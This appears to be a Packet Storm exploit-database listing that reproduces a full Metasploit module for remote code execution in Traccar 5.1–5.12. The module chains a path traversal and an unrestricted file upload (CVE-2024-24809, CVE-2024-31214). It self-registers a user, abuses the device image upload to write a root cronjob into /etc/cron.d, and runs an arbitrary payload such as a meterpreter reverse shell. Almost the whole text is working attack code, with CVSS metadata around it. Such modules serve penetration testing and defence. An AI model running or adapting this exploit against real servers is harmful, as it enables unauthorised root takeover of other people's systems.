Lucene search

K
packetstormNaveen Sunkavally, Michael Heinzl, yiliufeng168, metasploit.comPACKETSTORM:181800
HistorySep 24, 2024 - 12:00 a.m.

Traccar 5.12 Remote Code Execution

2024-09-2400:00:00
Naveen Sunkavally, Michael Heinzl, yiliufeng168, metasploit.com
packetstormsecurity.com
87
traccar v5.12
remote code execution
vulnerability
path traversal
file upload
red hat linux
cronjob
payload
cve-2024-31214
cve-2024-24809
root privileges
user registration
system compromise
exploit
metasploit module
http client
file dropper
autocheck
github advisory
horizon3 ai
disclosure date
linux command
meterpreter reverse tcp
uri
email
rport
version check
user registration
request cgi
unique index
primary key violation

CVSS3

9.6

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

AI Score

7.1

Confidence

Low

`class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Traccar v5 Remote Code Execution (CVE-2024-31214 and CVE-2024-24809)',  
'Description' => %q{  
Remote Code Execution in Traccar v5.1 - v5.12.  
Remote code execution can be obtained by combining two vulnerabilities: A path traversal vulnerability (CVE-2024-24809) and an unrestricted file upload vulnerability (CVE-2024-31214).  
By default, the application allows self-registration, enabling any user to register an account and exploit the issues. Moreover, the application runs by default with root privileges, potentially resulting in a complete system compromise.  
This module, which should work on any Red Hat-based Linux system, exploits these issues by adding a new cronjob file that executes the specified payload.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Michael Heinzl', # MSF Module  
'yiliufeng168', # Discovery CVE-2024-24809 and PoC  
'Naveen Sunkavally' # Discovery CVE-2024-31214 and PoC  
],  
'References' => [  
[ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-vhrw-72f6-gwp5'],  
[ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-3gxq-f2qj-c8v9'],  
[ 'URL', 'https://www.horizon3.ai/attack-research/disclosures/traccar-5-remote-code-execution-vulnerabilities/'],  
[ 'CVE', '2024-31214'],  
[ 'CVE', '2024-24809']  
],  
'DisclosureDate' => '2024-08-23',  
'Platform' => [ 'linux' ],  
'Arch' => [ ARCH_CMD ],  
'Targets' => [  
[  
'Linux Command',  
{  
'Arch' => [ ARCH_CMD ],  
'Platform' => [ 'linux' ],  
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp  
'Type' => :unix_cmd  
}  
]  
],  
'Payload' => {  
'BadChars' => "\x27" # apostrophe (')  
},  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'WfsDelay' => 75  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [EVENT_DEPENDENT],  
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(8082),  
OptString.new('USERNAME', [true, 'Username to be used when creating a new user', Faker::Internet.username]),  
OptString.new('PASSWORD', [true, 'Password for the new user', Rex::Text.rand_text_alphanumeric(16)]),  
OptString.new('EMAIL', [true, 'E-mail for the new user', Faker::Internet.email]),  
OptString.new('TARGETURI', [ true, 'The URI for the Traccar web interface', '/'])  
]  
)  
end  
  
def check  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'api/server')  
})  
  
return CheckCode::Unknown unless res && res.code == 200  
  
data = res.get_json_document  
version = data['version']  
if version.nil?  
return CheckCode::Unknown  
else  
vprint_status('Version retrieved: ' + version)  
end  
  
unless Rex::Version.new(version).between?(Rex::Version.new('5.1'), Rex::Version.new('5.12'))  
return CheckCode::Safe  
end  
  
return CheckCode::Appears  
end  
  
def exploit  
prepare_setup  
execute_command(payload.encoded)  
end  
  
def prepare_setup  
print_status('Registering new user...')  
body = {  
name: datastore['USERNAME'],  
email: datastore['EMAIL'],  
password: datastore['PASSWORD'],  
totpKey: nil  
}.to_json  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'api/users'),  
'ctype' => 'application/json',  
'data' => body  
)  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
  
auth_status = false  
  
# not quite necessary to check for this, since we exit all cases that are not 200 below, but this is a common error  
# to run into when this module is executed more than once without updating the provided email address  
if res.code == 400 && res.to_s.include?('Unique index or primary key violation')  
print_status('The same E-mail already exists on the system, trying to authenticate with existing password...')  
res = send_request_cgi(  
'method' => 'POST',  
'keep_cookies' => true,  
'uri' => normalize_uri(target_uri.path, 'api/session'),  
'ctype' => 'application/x-www-form-urlencoded',  
'vars_post' => {  
'email' => datastore['EMAIL'],  
'password' => datastore['PASSWORD']  
}  
)  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
  
json = res.get_json_document  
unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']  
print_status('Provide the correct password for the existing E-Mail address, or provide a new E-Mail address.')  
fail_with(Failure::UnexpectedReply, res.to_s)  
end  
  
auth_status = true  
  
end  
  
unless res.code == 200  
fail_with(Failure::UnexpectedReply, res.to_s)  
end  
  
json = res.get_json_document  
  
unless json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']  
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)  
end  
  
if auth_status == false  
print_status('Authenticating...')  
res = send_request_cgi(  
'method' => 'POST',  
'keep_cookies' => true,  
'uri' => normalize_uri(target_uri.path, 'api/session'),  
'ctype' => 'application/x-www-form-urlencoded',  
'vars_post' => {  
'email' => datastore['EMAIL'],  
'password' => datastore['PASSWORD']  
}  
)  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
  
json = res.get_json_document  
unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']  
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)  
end  
end  
end  
  
def execute_command(cmd)  
name_v = Rex::Text.rand_text_alphanumeric(16)  
unique_id_v = Rex::Text.rand_text_alphanumeric(16)  
  
body = {  
name: name_v,  
uniqueId: unique_id_v  
}.to_json  
  
print_status('Adding new device...')  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'api/devices'),  
'keep_cookies' => true,  
'ctype' => 'application/json',  
'data' => body  
)  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
  
json = res.get_json_document  
  
unless res.code == 200 && json['name'] == name_v && json['uniqueId'] == unique_id_v && json.key?('id')  
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)  
end  
  
id = json['id'].to_s  
body = Rex::Text.rand_text_alphanumeric(1..4)  
fn = Rex::Text.rand_text_alpha(1..2)  
  
print_status('Uploading crontab file...')  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),  
'keep_cookies' => true,  
'ctype' => 'image/png',  
'data' => body  
)  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
  
unless res.code == 200 && res.to_s.include?('device.png')  
fail_with(Failure::UnexpectedReply, res.to_s)  
end  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),  
'keep_cookies' => true,  
'ctype' => "image/png;#{fn}=\"/b\"",  
'data' => body  
)  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
  
unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/b\"")  
fail_with(Failure::UnexpectedReply, res.to_s)  
end  
  
body = "* * * * * root /bin/bash -c '#{cmd}'\n"  
cronfn = SecureRandom.hex(12)  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),  
'keep_cookies' => true,  
'ctype' => "image/png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"",  
'data' => body  
)  
  
register_file_for_cleanup("/etc/cron.d/#{cronfn}\"")  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
  
unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"")  
fail_with(Failure::UnexpectedReply, res.to_s)  
end  
  
vprint_status('Cleanup: Deleting previously added device...')  
res = send_request_cgi(  
'method' => 'DELETE',  
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}"),  
'headers' => {  
'Connection' => 'close'  
}  
)  
  
unless res  
print_bad('Failed to receive a reply from the server, device removal might have failed.')  
end  
  
unless res.code == 204  
print_bad('Received unexpected reply, device removal might have failed:\n' + res.to_s)  
end  
  
# It takes up to one minute to get the cron job executed; need to wait as otherwise the handler might terminate too early  
print_status('Cronjob successfully written - waiting for execution...')  
end  
end  
`

CVSS3

9.6

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

AI Score

7.1

Confidence

Low